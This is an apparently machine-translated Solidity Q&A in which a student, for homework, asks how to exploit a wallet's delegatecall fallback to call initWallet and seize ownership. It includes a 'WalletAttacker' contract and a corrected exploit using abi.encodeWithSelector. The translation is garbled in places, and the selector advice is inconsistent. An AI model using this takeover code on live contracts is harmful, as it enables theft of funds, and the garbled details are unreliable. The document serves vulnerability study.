Solidity
如何呼叫使用 msg.data 作為參數的備份函式
我正在嘗試完成家庭作業,所以我沒有做任何惡意的事情。目標是了解合約的漏洞。我想呼叫wallet的fallback函式來觸發WalletLibrary的initWallet函式。我對如何通過 msg.data 傳遞參數有點困惑。
這是我試圖利用的合約的程式碼。
contract WalletLibrary { function initWallet(address[] _owners, uint _required, uint _daylimit) { pass } } contract Wallet { // gets called when no other function matches function() payable { if (msg.data.length > 0) { _walletLibrary.delegatecall(msg.data); } } ... }
這是我嘗試失敗的方法。我相信我正在呼叫回退函式,但我相信 msg.data 的參數設置不正確。
contract WalletAttacker { ... function stealOwnerShip() external { address[1] memory owners = [address(this)]; uint _required = 1; uint _daylimit = 1000000000000000000; targetWallet.call(bytes4(keccak256("initWallet(address[], uint, uint)")), owners, _required, _daylimit); } }
那很接近。要獲得函式選擇器,您必須刪除任何空白
bytes4(keccak256("initWallet(address[],uint,uint)"))
使用 solc 0.5 你應該使用
abi.encodeWithSelector()
contract WalletAttacker { ... function stealOwnerShip() external { address[1] memory owners = [address(this)]; uint _required = 1; uint _daylimit = 1000000000000000000; targetWallet.call( abi.encodeWithSelector( bytes4(keccak256("initWallet(address[],uint,uint)")), owners, _required, _daylimit ) ); } }
您應該遵循的三個重要提示:
- 使用 uint256 而不是 uint(我對 uint 有問題)
- 刪除“initWallet(地址$$ $$,uint,uint)" 使用 encodeWithSelector 或 encodeWithSignature 時
- 不要使用類似的編譯指示,例如:使用 encodeWithSelector 或 encodeWithSignature 時的編譯指示實驗 ABIEncoderV2
夏季平價錢包有 3 個錯誤:
- initWallet Bug(所有人的所有權)
- 冷凍乙太
- 可殺死的錢包(通過回退的委託竊取所有權並殺死錢包)